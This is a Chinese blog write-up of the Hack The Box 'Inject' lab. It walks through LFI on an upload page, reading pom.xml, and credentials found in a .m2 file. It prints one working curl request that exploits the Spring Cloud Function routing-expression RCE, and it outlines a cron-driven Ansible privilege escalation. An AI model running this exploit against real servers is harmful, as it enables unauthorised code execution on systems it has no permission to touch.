HTB-Inject

文章描述了一个安全渗透测试过程,通过分析8080端口的上传功能,发现只允许上传jpg文件。测试LFI但未发现RFI。从Maven配置文件中找到项目依赖及可能的漏洞版本。利用SpringBoot的路由表达式执行命令生成文件,并通过pspy验证存在定时任务。最终目标是构建一个Ansibleplaybook来执行shell命令以获取root权限。
摘要由CSDN通过智能技术生成

在这里插入图片描述

信息收集

在这里插入图片描述

  • 22
  • 8080

8080端口如下。
在这里插入图片描述
主界面有一个上传图片的功能。

在这里插入图片描述

简单测试后发现对上传文件后缀名应该有过滤,只允许jpg后缀名文件上传。将一个内容为”test“的txt文件修改后缀为jpg后上传会出现错误。
在这里插入图片描述
在这里插入图片描述
验证一下是否存在LFI。

在这里插入图片描述
验证一下是否存在RFI,经过验证应该不存在RFI。
在这里插入图片描述

在maven的配置文件…/…/…/pom.xml里收集到一些项目和项目版本。

  • spring-boot-starter-parent 2.6.5
  • javax.activation 1.2.0
  • spring-cloud-function-web 3.2.2
  • bootstrap 5.1.3
  • spring-boot-starter-thymeleaf
  • spring-boot-starter-web

另外在frank目录下的.m2文件里面找到了phil的账号密码。
在这里插入图片描述

去看看用户目录里面是否有.ssh文件,虽然phil和frank目录下都有.ssh文件,但是应该是其他玩家留下的,ssh无法登录。
在这里插入图片描述

还记得上面收集的maven的项目文件内容么,一个一个去搜索看看是不是漏洞版本。

在这里插入图片描述

在这里插入图片描述

curl -i -s -k -X $‘POST’ -H $‘Host: 192.168.1.2:8080’ -H $‘spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(“touch /tmp/test”)’ --data-binary $‘exploit_poc’ $‘http://192.168.1.2:8080/functionRouter’

注意exec执行的命令touch /tmp/test,记得去tmp看看有没有。
在这里插入图片描述
生成了mmiku文件。
在这里插入图片描述
准备脚本。
在这里插入图片描述

上传脚本。
在这里插入图片描述

开机

在这里插入图片描述

在这里插入图片描述
在/opt/发现了一些有趣的东西,一个yml的文件,初步怀疑有时间任务。
在这里插入图片描述

pspy验证了此想法。

在这里插入图片描述

root

接下来就是要弄一个ansible playbook代码来执行shell命令。
在官网看到这个模块ansible.builtin.command在这里插入图片描述

照着已有的yml文件修改一下即可。
在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值